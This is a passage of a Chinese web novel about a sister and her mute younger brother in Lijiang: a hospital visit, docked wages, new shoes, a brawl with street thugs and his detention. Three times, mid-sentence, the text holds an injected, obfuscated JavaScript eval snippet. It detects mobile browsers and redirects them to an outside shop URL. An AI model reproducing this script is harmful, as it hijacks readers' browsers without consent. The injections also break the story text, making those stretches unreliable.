还好,鹿东只是拿他起头,话题很快转移到易佳期身上,“尤其是你,马上要上大学了,等过几天我得给你置办几身好衣服,你别觉得我把人想的坏,大学就是个小社会,拜高踩低的人多的是,在外面得多点心眼,家里的情况别一股脑都说给别人。” “放心吧,”易佳期大手一挥,“上了大学我第一个忘本,以后我的身份就是富二代了,你们这些穷亲戚可别拖累我。” 听完这话,鹿东仰天笑起来,李树也后知后觉地咧开了嘴。 饭桌上的好气氛几乎要维持到散场,直到鹿东把酒杯往桌子上一撂,拍了拍易佳期的胳膊,大着舌头问:“你弟的脸咋回事,你快看看,咋这么红?血红血红的。” 一瓶啤酒下肚,易佳期脑袋也有点沉了,听见这话,她有些迟钝地转过脸去,看到李树的瞬间,她头皮一凉,瞬间清醒了不少。 鹿东说话向来夸张,但这次却精准得吓人。 李树整张脸浮现出不正常的潮红,甚至连胳膊上,也像开花似的,蔓延开红色的斑块。 易佳期飞快扫了一圈他身前的餐盘,土豆、娃娃菜、豆芽,都是常见的蔬菜,她伸手去拿李树的杯子。 鹿东也坐不住了,踢开板凳凑过来。 “这怎么还喘上了?” 李树的嘴巴张着,呼吸的声音很大。 易佳期低头闻了一下李树的杯子,“他喝酒了。” “你以前喝过酒没有?”易佳期问。 李树抓着身上的红斑,红斑上面是细细密密的小疙瘩。见易佳期问他话,他反应了一会,才摇了摇头,「没有。」 “走,去医院。”易佳期站起来。 李树也扶着桌子站起来,「我没事,我睡一觉,出出汗就好了。」 鹿东虽然不会手语,但摇头,摆手,睡觉,总还是看得懂的。 她一下就急了,“你这绝对是过敏,不行不行,必须得去医院,过敏严重点的就死了,这可不是闹着玩的事!” 显然,死这个字眼唬住了李树,连易佳期的脸色都变了,她攥住李树的胳膊,让他“闭嘴”,“去拿你身份证,”说完,她转向鹿东,“鹿东姐,帮帮忙,带我们去最近的医院。” * 酒精过敏,还好不算非常严重,医生给开了三瓶吊针。 下午店里有房客要入住, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485773|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店里不能没人,打完第一针,见没什么大事,鹿东便打了辆车回客栈,易佳期留下来,陪李树打针。 等出了医院,已经入夜,刚下了雨,风一带,还有点冷。 易佳期两手空空,走在前头,李树提着医院开的过敏药和病例,亦步亦趋地跟在后面。 来的时候骑的是店里的三轮,古城有交通管制,汽车上不了石板路,鹿东就把三轮留给了她们。易佳期快走到跟前了,又想起来钥匙在李树身上,她停住脚步,站定回头。 见她转身,李树匆匆把手里的东西塞进袋子里。 虽然他藏得快,但易佳期还是看见了,刚才他手里拿的是医院的小票。 这一个下午,那两张小票,李树翻过来覆过去的看,都快把上面的字摸掉了。 易佳期快步走过去,冲他伸手。 李树讷讷低下头去,老老实实把小票递给她。 易佳期正反看了一遍,没发现什么稀奇的,这土老帽,不会是连小票都没见过吧,她问他:“你看什么呢?” 李树脸色有些仓皇,「太贵了。」 还不等易佳期反应,李树又继续说,「这些钱,我会还你。」 易佳期点头,是该还,“你打算什么时候还我?” 李树不说话了,过了一会,他才抬手,「上海有没有工厂,工地。」 “当然有了,上海什么都有。” 李树的表情终于轻松些许,「那到了上海,我就还你。」 易佳期把小票揣进兜里,歪头看他,“所以,今天一下午,你坐立难安,就是为这六百块钱?” 片刻的寂静之后,昏昏沉沉的路灯下,李树轻轻点了点头。 「我乱生病,花钱,你会更讨厌我。」 「我怕你不要我。」 既然话都说到这了,易佳期眯起眼睛,很认真地纠正道:“我对你,不是讨厌,是怨恨。” 讨厌不过三年五载,怨恨是一辈子的事情。 李树的手呆楞在半空,犹如梗在喉。 他的手上还贴着输液的胶带,胳膊上的红斑还没有完全退去,格外扎眼。 易佳期一瞬间又觉得没劲,唉,老弱病残,李树现在一个人占了两,她吓唬他一个病号做什么。 她叹了口气,移开视线,很快找补道:“但不会不要你。” “放心吧,只要我一天是你姐,就永远不会丢下你。” 永远,易佳期又这样说。 李树别过脸去,一朝被蛇咬,十年怕井绳,他打心底里抗拒这个字眼。 永远,对这段感情的期待太重了,重到无法承受任何变动,反而成为了诅咒。 他只要今天,每一个今天,易佳期不丢下他,就很好了。 但易佳期灼灼的视线望着他,最终,他还是点了点头。 见病号哄好了,气氛也还不错,易佳期觉得这是个好机会,又开始琢磨问他季昀的事情。 她单刀直入:“现在正好没外人,我问你个事儿,是你和鹿东说我男朋友长得好看的?” “你知道我男朋友是谁?” 「不知道。」李树一副老实巴交的表情,「你之前的男朋友都很好看。」 易佳期大脑自动翻译李树的话,因为你之前的男朋友都好看,所以现在这个一定也好看。 她更惊奇了,“你怎么知道我之前谈的朋友都漂亮。” 李树一五一十说,「看到过,有几次,上课,你和他们牵手。」 易佳期扬了扬眉毛,这倒是确有其事,高一高二的时候,仗着成绩好,她在学校颇有点土皇帝作风。 说起读书时候的事情,易佳期难得放松,不由自主调侃起李树,“你在教室还抬过头呢,她们不都叫你睡神吗?” 听到这个外号,李树也有点不好意思了,讷讷地回答:「没有天天睡,看情况。」 “看什么情况?” 李树很快地比划了一下,「风水。」 “什么?”易佳期没看清。 李树摇头,「没什么」,他又道,「不困的时候就不睡。」 易佳期笑了,把话题又拉回正轨,“不过你也算厉害的,连我男友什么样都不知道,还能和鹿东过上几招,进步挺大啊。” 李树露出一个勉强的微笑。 在昏沉的灯光下,却变得恰到好处。易佳期拍了拍他的肩膀,转身继续往前走。 李树的世界重又回归寂静。 他望着前方的背影,悲凉的想,他已经知道,那是一个什么样的人了。 像你这样好,这样厉害的人,就应该和那样漂亮、有情致、有文化的人在一起。 李树低下头,脚上的鞋子,开胶的口子好像更大了些。 26. 柠檬 钱说分起来很快,尤其是见李树进了趟医院,要花钱着呢,鹿东没两天就把分成算好了,刨去各种成本,最后分到易佳期手头上也有两万五。 摆摊这些天,李树没少忙前忙后,摊位上八成的活都让他给揽了,一天下来连上厕所的功夫都没有。就这样也不喊累,不管前一天摆摊忙到多晚,第二天照样第一个爬起来做早饭,那劲头可比让他上学昂扬多了。 这份任劳任怨连鹿东都看在眼里,和她商量要不趁着月初,连着上个月的,给李树开点工资。 “你们亲姐弟怎么论我管不着,我该出的那份钱先拿给你,总不能让你弟给我白干活。” 照理说,就算是宫里张皇榜,也招不着这么勤恳的苦役了,开个千儿八百的工资稳住他着实不亏。况且,易佳期身上杂七杂八加起来的存款,少说也有三十来万,给李树开点工资跟掉几根头发差不多。 但是,道理是道理,易佳期明白,但不讲。“行,我替我弟谢谢你。”易佳期接下鹿东给李树的工资,理所当然收入自己的钱包。 改天,她做了份考核表,直接发到李树的企鹅号。 消息发过去的时候,李树在楼下洗衣服。易佳期把手机往床上一扔,翘着腿等,果然,不一会楼梯那头便咚咚作响开来。 李树一头扎进屋里,手上没来得及擦干,还滴着水。走到跟前了,李树又站定,把手机往围腰上擦了擦,水擦净了,才递到她脸前。 他神色有点慌,另一只手腾出来比划,「这是什么?」 易佳期把他手机推开,淡淡道:“这是你这一个月的考核表,也可以算做工资条,自己看看吧。” 李树一看表格头就大,但易佳期让他看,他也就老实坐下翻阅起来。 他的手机屏幕不大,捯饬了半天,李树才摸清楚怎么调整表格缩放。他缓缓把表格放大,表格第一行就是他的名字。 【李树6月考核记录 基本工资:300元;应出勤天数:30日;实际出勤天数:26日;借支:130元;考核等级:E;实发工资:170元。】 李树再傻也知道ABCDE,E是最差的那个,虽然不知道具体什么意思,但他之前高中会考的等级也是E,就是不及格。 他抿着嘴,继续往下看。 【考核明细: 6月14日至6月17日,李树无故缺勤四日,影响恶劣,扣除考核分数40分,罚款80元; 6月20日,午饭口味过于寡淡,致食材浪费,扣除考核分数10分,罚款20元; 6月26日,室内窗台有灰尘,扣除考核分数10分,罚款20元; 6月28日,室内垃圾桶有垃圾,扣除考核分数5分,罚款10元。】 易佳期等他全部看完,翘着的腿往上一抬,鞋尖精准地踢到李树的膝盖上,“看完了吧,没什么问题就表个态。” 李树神色有些低落,但还是回道,「没问题。」 “那就行。”易佳期应下,她不是没注意到李树的低气压,这些时日,李树经常露出这样的神色,她不止看到了,心里还很享受。 无论她给自己的私心冠上多少个名头,怕李树逃跑?怕李树脱离掌控?说到底,殊途同归,她只是不想让李树过得那么舒坦。 偶尔,易佳期自己也看不破自己,明明一个月前,她还想摆脱李树的纠缠,可越是和李树接触,她就越偏离本心。 李树什么都没有变,他还是六年前的李树。他将他最恶心的样子保鲜了,越靠近他,她对六年前的事情就越介怀,恨不得将他绑在身上,时刻对他处以私刑。 这么想着,抬头,眼前是李树低眉顺目的模样,她心里愈发止不住释放恶毒的念头,这样处处被人管制的感觉怎么样?甩你一口饿不死却也吃不饱的饭,却要求你感恩戴德的感受怎么样?被人趴在身上,恨不得钻进血管里吸血怎么样?背着一个无法摆脱的至亲怎么样? 我已经受够了,现在也该你了。 易佳期触景伤情,难免真情流露,“这么简单的事你做成这样,我对你已经够好了。” 李树和她说的却不是一回事,他来回翻看着考核表,冲她比划道:「我会改的,这些下次不会再犯了。」 易佳期从兜里摸出一把钞票,从里面抽了几张,“行了,别说这些没用的,罚款直接从你工资里扣掉,这有一百七,给你这个月零花,拿着。” 李树沉默着将钱接过去,随后,他没有把钱收进兜里,而是拿在手里点了点。 “没少给你。”易佳期冷笑一声。 为了让这一百七显得贵气点,易佳期数给李树的是十七张十块面额的,攥在手里厚厚一沓。 李树点了五张,抽出来,「我不要。」 饶是易佳期,也被他这一出弄懵了,“什么意思?” 李树掏出手机,对她晃了晃,「我留一百二交月租就够了,剩下的钱我花不着。」 他很可笑地补充了一句,「你存着,上大学。」 臭傻叼,五十块钱上毛线的大学,易佳期心里一阵烦躁,她说不清为什么烦,但心口的火却烧得特别旺。她捡着最难听的话说,“你脸怎么那么大,五十块钱就想包揽给我交学费的恩情,我看你爸不是被车撞死的,是被你铁盆一样大的脸吓死的。” 李树想解释,「我没有那个意思。」 易佳期偏头过去,直截了当结束这个话题,“闭嘴,我不想听,这个钱你爱要不要吧。”她一把抓起那些钱,攥成一个球球,塞进兜里。 就这样不欢而散。 易佳期两天没有和李树讲话,她虽然脾气差,但却很少真的生谁的气,都说气大伤身,一般人在她眼里就跟空气似的,犯不着她作践自己。李树不一样,易佳期有时候也纳闷,李树那个熊样,是怎么窝窝囊囊惹火她这么多次的? 这期间李树没少跑她身边晃,一会剥个橙子,一会削个苹果,总是放下东西,看看她,又不说话。 连鹿东都瞧出两个人的气氛不对劲,易佳期还是跟没事人一样。 但任她再不当回事,也架不住鹿东不时的眼神询问。在李树又一次抱给她一个大西瓜时,易佳期叫住他,视线定在他脚上的破鞋子上,“明天收拾收拾,带你去买鞋。” 她想得很简单,一双鞋子又不贵,免得鹿东哪天看见李树这双破鞋,再问起那份工资的事情,花点小钱和时间,省去这个麻烦,不亏。 李树显然没想到,她竟然会主动和他说话,还要带他去买鞋,一时有些愣住了。等易佳期已经抱着西瓜开吃了,他才反应过来,对着易佳期飞快点了点头。 第二天一早,易佳期用手机导航了最近的批发商城,直接一脚油门载着李树过去。这家批发商城的规模不小,有一条街专门开的鞋店,易佳期随便选了一家门头比较时髦的店铺。 进去之后发现,里面的鞋子的确都是各品牌最时兴的款式,只是每双都假得很松弛,很坦荡,再一看标价,大多都不超过一百块,易佳期瞬间觉得来对地方了。 店里生意还行,除了她们,还有几个男学生在试鞋子,打打闹闹,热闹得有点吵。老板见缝插针地招呼了她们一下,“有喜欢的都可以试哈。” 易佳期往试鞋的沙发上一坐,冲李树说,“去挑挑,有相中的让老板给你找尺码。” 李树站在原地晃悠了两下,一脸为难,易佳期也没管他,叮嘱他这两句后,就转头研究起别的东西。 没一会,李树就选好了,他抱着那一只鞋,跑过来戳了戳她。 “这就挑好了?”易佳期扫了一眼他怀里的鞋子,是双布鞋,低帮的,鞋底薄得跟纸片似的,简约得像双孝鞋。 李树看着他,缓缓点头,「就这双吧。」 易佳期拎过那双鞋,在店里转了一圈,果不其然,标价是店里最便宜的。她抬手将鞋塞回原位,冲老板说,“姐,给找几双你们店里卖的好的款式,43码的。” 李树很惊讶,「你怎么知道我穿43的。」 易佳期扬眉道:“你也不看我是干什么的,我都不用看你脚,我看你脸都能知道你多少码。” 她当然没这本事,只是李树身量和季昀差不多,季昀穿43码,她估摸着李树也差不多,但这些话,自然不能说给李树听。 老板手脚很利落,不一会便抱着三个鞋盒过来,“这三款最近卖得都挺好,”她把鞋盒依次打开,“你看这款,刚才那几个小帅哥就带走好几双。” 李树顺着老板指尖的方向看过去,原先那几个闹哄哄的男学生已经挑好鞋子走了,他们一人提着一个鞋盒,其中两个人直接把新鞋子穿在脚上,另外两个作势要踩,几个人的校裤的裤脚都挽得很紧,漏出长筒的枫叶袜。 李树在学校也见好多人都这么穿。 再往下看,那几人穿着的鞋子上,是那对熟悉的标志,他现在知道这个牌子怎么念了,「阿迪达斯」,他默默用口型念出来。 他坐定片刻,接过老板手里那双纯白的“阿迪达斯”。 见李树换上新鞋,老板往地上扔了张纸,“来,小帅哥,下地踩踩。” 李树站起来,远远透过镜子看脚上的鞋子,看一会,他又坐下,瞥着镜子里易佳期的脸,他期望易佳期能点评他几句,他也穿着“阿迪达斯”呢。 易佳期对李树心里的弯弯绕绕浑然不觉,她见李树一穿上脚上的这双,就舍不得脱了,心里就暗叫不好,等会肯定不好杀价了。 她叫老板把另外两款也拿出来,“再试试这两双。” 另外两双偏运动,有点像篮球鞋,李树薄溜溜一条人,蹬上这两双鞋像倒过来的大头钉。稍微踩了踩地,李树就坐下脱了。 两趟李树都只换了右脚,另一边的阿迪一直牢牢踩在脚上。 “就给小帅哥拿这双白的吧,你看这穿上多立整。”看出易佳期才是拿钱的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485774|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老板直接冲她搭话。 易佳期顺着她的话,往李树脚上看了一眼,一副没相中的架势,“也就那样吧。” 李树看着她的口型,默默弯腰下去,把阿迪脱下来,换回自己的鞋子。 “三双穿上都不咋样,就这双白的,看着还行,这双白的多少钱?”易佳期下巴隔空点了一下地上的鞋。 老板连说带比划,“这都是我从广州拿的货,卖得可好了,你要是要,就75拿给你。” 易佳期摇头,“40,能拿就拿,不能拿我们就再逛逛。” “四十我进都进不来,没有这样还价的,妹妹,这样,你要诚心要,60给你。” 一听是这个价钱,李树第一个坐不住了,他拽着易佳期的衣角,对她比划,「走吧,我不要了。」 易佳期顺势站起来,“那我们再转转。” “哎呀,给你们吧,最后一双了,便宜卖给你,阿妹你也太会还价了。”老板一边装鞋,一边例行叮嘱她们,“出去了别人问你,就说75买的,知道吧。” 李树就这么糊里糊涂买下一双鞋。 “你刚才反应还挺快呢,我一还价,你就装着要走了。” 李树这才反应过来,「你是故意那样说的呀。」 “不然呢,你以为我真的要走啊。这一条街上卖的鞋都大差不差,再逛还能逛出花来?再说这鞋你穿着确实好看,既然你喜欢,就给你买了呗。”易佳期自顾自说着,说完了,才转头看李树。 随后,她惊奇地发现,听完这话,李树脸上竟然漏出一抹羞涩的笑容。 他拎着装鞋的袋子,左右看了看,不太敢相信的样子,「我穿着,也能好看吗?」 是好看啊,你长这样穿啥不好看,这有什么好羞涩的,你要和它结婚吗? 易佳期百思不得其解,面上却不显,只很谨慎地嗯了一声。李树这个人有时候很诡异,她知道的。 更诡异的事情还在后面,买了新鞋,李树竟然不穿,一问他,理由是怕把鞋子穿脏了。 “供上吧,再烧香拜一拜,那样不脏。”易佳期嘲笑他。 李树也跟着笑,笑了一会,李树才说,「你这样说话像鹿东姐。」 易佳期不管他说什么,硬是让他把新鞋踩上,鞋买了不穿,那不相当于白买了。 任是谁,花了钱总要听个响。果然,这鞋一穿上,鹿东就响了,她前前后后看了李树一圈,“早该这么穿了,你看这样板板正正的多好。” 她这嗓子一喊,易佳期也跟着往李树身上看,弄得李树干活都不自在。 不过,这份不自在也不只是因为两个人的打量,脚上的鞋子白,李树总怕脏了,走几步就要蹲下来看一看,擦一擦。 鹿东看见了,冲易佳期调侃道:“之前没见你弟那么臭美过。” 易佳期也觉得李树有点太夸张了,又不是多么贵的东西,“新鞋嘛,让他新兴几天。” 两个人离李树不远,李树看见自己被调侃,腼腆地笑了笑。 知道他脸皮薄,易佳期和鹿东又聊起别的事情。 “你们俩都来到云南了,就天天摆摊,也不去景点转转?” 易佳期有一搭没一搭地和鹿东聊:“等快开学再去吧,本来也不是来玩的。” “也是,”鹿东点头,不过她正经不了片刻,话音一转,又开始打听起来,“那到时候你男朋友会来和你一起玩吗?” 易佳期懒得和别人解释她和季昀的纠葛,只顺着鹿东的话说,“不来,他家里管得严,之前上下学都有司机管着,平时还有宵禁。” “那他家庭条件应该挺好的吧。” “又不给我,好不好有什么关系。” 两个人你一句我一句,聊的正火热,丝毫没有注意到,一旁的李树,瞬间灰败的脸色。 易佳期说的话,甚至那副无所谓的神色,都严丝合缝地与往事吻合。 精确地仿若记忆重叠。 “他家里管得严,只这几天他家司机告假,教训他,你只有这一周的机会。” 怎么可能?不可能。 李树感觉自己撞破了一个非常可怕的事实。 但是怎么可能呢? 一直浑浑噩噩到夜晚,李树躲进厕所里,环顾一周之后,终于下定决心,点开伤心王子的主页,发送了那条验证消息。 他假装关心道:“季昀同学,你的手好了吗?” 片刻之后,企鹅号便显示新的消息提示——伤心王子没有通过他的验证申请,但是回复了他。 “关你屁事。” 李树的大脑,轰的一声,彻底无法运转了。 怎么可能? 易佳期的男朋友怎么可能是季昀呢? 易佳期咒骂季昀的模样在他脑中不断回旋。 是这样啊。 易佳期不是讨厌他吗? 不是应该像讨厌我一样讨厌他吗? 27. 绿火车 正如易佳期所说,她们的小生意投入少,利润大,又没什么壁垒,赚钱主要靠着还算新颖的模式,模仿起来非常容易。 很快,古镇上就有了第二家主打她们这种模式的摊位,然后是第三家、第四家… 与此同时,对街找事的几个黄毛来的越来越频繁,从一开始的口头挑衅,升级到偶尔的肢体推搡。 这种人易佳期和李树之前没少接触,滚刀肉基本盘,遇上了多数只能自认倒霉。 “这两天的,把库存清了吧,这生意本来就做不长久,附近类似的摊位已经起来了,下一步就要开始卷低价,再做下去也就是赚个辛苦钱。”易佳期最先提出来。 鹿东很快同意,她对赚钱本来就没什么追求,够花就行。李树又一向听易佳期的,一切就这么愉快的决定了。 可惜,天不遂人愿,清仓的最后一天,摊位还是出了事。 黄毛把摊儿砸了。 李树也进了派出所。 事发那天,易佳期要和省里的一家媒体连线,等她处理完手头上的事,再回到摊位,只剩稀稀拉拉的围观人群和一片残局。 邮筒被踹到在地,明信片散了一地,没掉在地上的也被泼湿,在阳光下显现出坑坑洼洼的质感…… 所幸,鹿东还好好站在原地,中气十足地冲着对过的火塘骂街。 易佳期飞快跑过去,一声不吭,扯着鹿东的手臂翻面,将她全身上下前后左右看了一圈。 鹿东霎时被打断施法,但见到来人是她,鹿东气焰瞬间弱下去,不等她问,便主动交代,“咋办,你弟被条子摁走了。” 易佳期皱着眉,像是没听见似的,往鹿东脸上脖子上又扫了几眼,反而问:“姐,你没事吧?” 鹿东脸色不太自然,“我?我没事。”她兴许以为易佳期在兴师问罪,“那几个孙子闹事的时候我在楼上理库存,要是我在,我非得给他们点颜色瞧瞧,爷爷的,泼皮无赖当惯了,真当这边是天高皇帝远了,有人生没人养的狗东西!” 说着说着,鹿东又一脸愤慨起来。 易佳期没说别的,只拍了拍她的肩膀,“别说了,先把这里收拾一下吧。” 最后,两个人还是从旁边摊位的商户口中,知道了事情的来龙去脉。 * 一开始,黄毛几个人还是故技重施,横着一排挡住整个摊位,李树也是和之前一样,把他们当成透明人,该干什么还是干什么。 眼见李树完全不接招,几天下来几个人也按耐不住了,竟然连装都不装了。 “领头的那个人拿了瓶可乐,直接往你们明信片上泼,那一下我都看不下去了,你们摊位的小伙子肯定要去拦。” “但他又讲不出来,我就替他讲说,几位大哥,人家这是纸做的,弄湿了全都不能要了,得饶人处且饶人吧!” “结果,那几个人压根没搭理我。” 见明信片被毁了,李树当然不能坐视不管,瞬间有些强势地站到几个人身前。 “呦,小哑巴发怒了。”几个人笑得很欢快。 “今天挺稀奇啊,不打算装聋作哑啦?” “哎哟东哥,别说这种话啦,人家残疾人来的。” 被叫做东哥的人笑得更猖狂,“哪里残,脑残?” 这些话李树听得多了,不觉得有什么,但东西毁了,就得赔钱。他掏出纸和笔,面无表情地在嘲笑声中写字。 写完,他把收款码和字条亮到几个人面前,「弄坏了,就买下来。」 为首的黄毛抬手就将字条打掉,一脸无赖样:“我不识字啊,大学生给我解释解释。” “东哥,他让你赔钱。” 黄毛回手就是一拳,打在说话的人身上,“让你说了吗,你是大学生?” 李树无视黄毛的戏谑嘲讽,只把收款码再次伸到他面前,意思是付钱。 “让我赔钱?我又不是故意的,再说,就这几张破纸,卖这么贵,你家就这么讹人的?!”黄毛还嫌不够,冲着围观的人群大喊,“快来看看,强买强卖了啊。” 周围不少人围观了全程,黄毛这话一出,众人嘘声一片,偏偏他还自我感觉良好,转头对李树说,“看到了吧,我就是不赔,你能把我怎样?” 李树没再继续写,只是挡在几人身前,固执地举着二维码,看着颇有点不付钱就别想走的意思。 黄毛也火了,“说了不是故意的你听不懂是吧!”说着,他发狂似的,直接把手里整瓶的可乐往摊位上砸过去。 李树飞身去挡,但还是晚了,可乐浸湿了台面,连他脚上的鞋子,也被可乐波及良多。 纯白的鞋面瞬间多了许多褐色的斑点,李树慌忙抢救剩下的明信片,随后又马不停蹄蹲下身去,掏出随身携带的湿巾,对着鞋面上的斑点猛擦。 黄毛这才注意到李树脚上的新鞋,“哟,阿迪都穿上了啊,真是让你们赚到了。” 随后他又极端地咒骂道:“臭哑巴,赚点棺材本不存着还买上新鞋了。” 他身后的跟班往下蹲了蹲,忽然很兴奋地叫道:“什么啊东哥,是假的。” “他穿的是阿-迪-拔-丝!” “假的好离谱,真是笑死人。” 黄毛也弯下腰,冲着李树脚上的字母一个个核对,发现果真如此。 他一下高兴了,“我就说嘛。”说着他把脚抬起来,拧着腿,把脚上的鞋标给李树看,”这才叫阿迪达斯,low货就是low货,真是拿不出手,上不得排面。”他笑着抬头,想看李树难堪的脸色,抬了头才发现,李树竟冷冷盯着他。 那股劲,作为小混混的黄毛来说,相当熟悉。 不知道为什么,前面他骂得那么难听,李树都没什么反应。而现在他不过随口吐槽两句,对比了一下两个人鞋子的真假,李树的戾气却一下就上来了。 他自认抓住李树的软肋,自然乘胜追击。 “怎么,说错你了,low货,就算看上去差不多,但假的永远是假的,真的永远是真的。”说着,黄毛扬起一抹邪笑,“这破假鞋你还宝贝得跟真的一样,来,让你东哥的真货给你开开光。” 说着,黄毛一脚踩在李树的鞋上,他的动作极快,鞋底又混了可乐和泥土,几乎瞬间李树的鞋面上就多了一个黑乎乎的大脚印。 李树的脸一下也跟着黑了。 这效果让黄毛直接忘形,他抬脚又要踩,李树却突然暴起,一把将他推倒在地。 这下,几个人瞬间围过来了,黄毛恶人先告状,“哑巴打人了!” “还愣着干什么,把摊子给我砸了!” 事情就是这么个事情,隔壁的摊主讲完了,“他们几个人打你弟一个,但你弟死咬着带头的人打,最后警察来的时候,你弟还占了点上风呢。” 摊主说的是调节气氛的俏皮话,这时候却没人有心思回答。 鹿东是惦记着易佳期的想法,唯恐易佳期觉得她鹿东这么大一人,一点担当没有,把这种事交给她弟一个小屁孩面对。虽然,她是真的没听见动静 。 易佳期全程话都不多,只最后谢了隔壁摊主几句。 “哦,对了,”摊主叫住两个人,从一边掏出个塑料的袋子,“这是你弟的鞋。” 她有些想不通似的,“你弟还手前,还专门跑到一边把鞋脱了,套了两层塑料袋,我看他挺宝贝,就趁乱给他收起来了,你给他拿走吧。” 鹿东伸手接过来,“那他光着脚被条子摁走的啊,”饶是她,也都有点词穷了 ,“得亏是夏天呢,不冻脚。” “没事,我看了,走的时候穿着袜子呢。”摊主好心安慰了一句。 两个人说话的功夫,易佳期粗暴地把鞋扔到车上,鞋子在三轮上滚了一圈,从袋口掉了出来。 一只带着黑色的脚印,一只却一尘不染。 李树被带走后,一天都没回来,剩下的,不用问,易佳期和鹿东也知道,他这八成是被拘留了。 那一天里,易佳期都没怎么出房间。 只在晚上下了趟楼,想接楼下的开水泡泡面。鹿东二话不说地抢过她手里的泡面,把她按在公区的板凳上,“没人给你做饭你就吃这没营养的,我烧了排骨面,你等一会吧。” 易佳期没推脱,“谢谢姐,我喜欢吃辣的。” 鹿东罕见地没骂骂咧咧,反而忙不迭地应下。 这一顿饭吃的很沉默,易佳期平时本来话就不多,相比之下,鹿东的缄默让人意料之外。 易佳期埋着头吃面,头发散到耳边,她随手拿起个发箍,简单粗暴地把碎发梳到后面去。 鹿东见她的头发只是很随意地扎了个低马尾,随口问道:“今天怎么没编头发。” 易佳期抽张纸抹了抹嘴,“自己懒得弄。” 平时,这些事情,都是李树在弄,想到这,鹿东突然又不知道说什么。 最后还是鹿东忍不住先谈起李树。 “你弟这个事,我会想办法的,不会有多大的事。” 易佳期真切地“啊”了一声,不知道鹿东为什么突然说起这个。 “这回真是大意了,该早点介入把这事解决,刘东那个人出了名的泼皮,你弟虽说老实,但兔子急了还咬人呢,唉,谁能想到事情会闹成这样。” 是啊,易佳期也没想到事情会闹成这样,从前在临安,李树虽说恶名在外,但他脾气软,轻易不与人动手,除非是她开口。不过,她什么时候让李树和那几个黄毛硬刚了? 她捏了捏眉心,虽然心里毫无波澜,但还是根据人设,作出一分黯然神态。 鹿东见易佳期这样,心里更是内疚,她和李树交情虽浅,但李树是易佳期的弟弟,人又是在她的店门口被带走的,她总觉得自己也有点责任。 这种感觉就很像朋友把手机揣她包里,没走几步,忽然发现她的包是漏的,而手机早不知道掉哪里去了的无力感。 “我问了我一姐们,她说这种情况,一般会把你弟和刘东他们分开关,你弟挺安全的,不用太担心。” 担心?听到这个字眼,易佳期差点笑出声。也是,到了云南,李树几乎是改头换面,当起了老实人,鹿东自然不清楚,就李树这样的,进派出所跟回家似的。 他的档案,回迁房那块的片警不说倒背如流吧,那也绝对能熟练背诵了。 “这事吧,也在我,说起来你们即是我的客人,也是小辈,怪我没有保护好你们,真是白在丽江混这么多年了。”鹿东是个性情人,有什么说什么,不往心里藏事。 易佳期这会才往这方面想,“姐,你是不是觉得我在怪你。” “没有,我知道你不是那样的人。”鹿东瞧着她,“我就是看你总闷在屋里,怕你心里难受。” “我没难受,我这两天心情挺好的。”易佳期实话实说。 这下轮到鹿东懵了,易佳期笑了笑说:“我的录取结果出来了。” 听到这话,鹿东拍了拍脑袋,“是啊,最近都忙昏头了,都忘了这事了,”她也不关心别的了,赶忙问:“最后是去哪了。” 易佳期淡淡道:“北大元培。” “那就是北大呗。”鹿东高兴地合不拢嘴。 易佳期点头,她放弃了自主招生,只参与了普通本科批的填报。录取消息一出,传得比想象得快,省里市里不少媒体都打来电话想要采访她,这两天,她一直在处理这些事。 当然,她也没有忘了打探季昀最后的去向。 “我弟他不是个小孩,很多事情也该自己面对了,我是他姐没错,但这几天我只想为我自己开心。”易佳期表明态度。 见她这么说,鹿东拍了拍她的手,露出欣慰的笑容,“对,你这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485775|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样想就很好,不管怎么样,不管多亲的关系,你自己才是你最需要关心的人。” 话说开了,心也就踏实了。 第二天,鹿东拎给她一个精致的手提袋,“打开看看。” 易佳期扒开袋子,掏出里面的东西,是一件黑色帽衫,右边的袖子上带着一个黄色的臂章。 “石头岛?”易佳期满脸惊讶。 “之前不是说要给你置办几件撑场面的衣服,我问了我娱乐圈的朋友,她说最近年轻人就流行这个,叫什么,潮牌,对,就是潮牌。” 鹿东买的是石头岛最经典的款式,简简单单,却很抬人,易佳期上身了一下,果然好看。“怎么想到给我买这么贵的衣服,我们认识的时间并不久。”易佳期说话很直白。 鹿东围着她绕了一圈,“这衣服拿手上看不咋地,穿你身上这么好看。” 随后,她也是有啥说啥:“最近摆摊赚了不少,要没你,我也赚不到这笔钱,而且我找代购买的,没那么贵,真想谢姐,以后有赚钱的点子还想着你姐就行了。” 伴着媒体的邀约、同学的恭维和鹿东的礼物,9天很快过去。 去看守所接李树的那天,易佳期原封不动地将李树那鞋提了过去。 鹿东还是把俩人当小孩,放不下心,二话不说跟着来了。 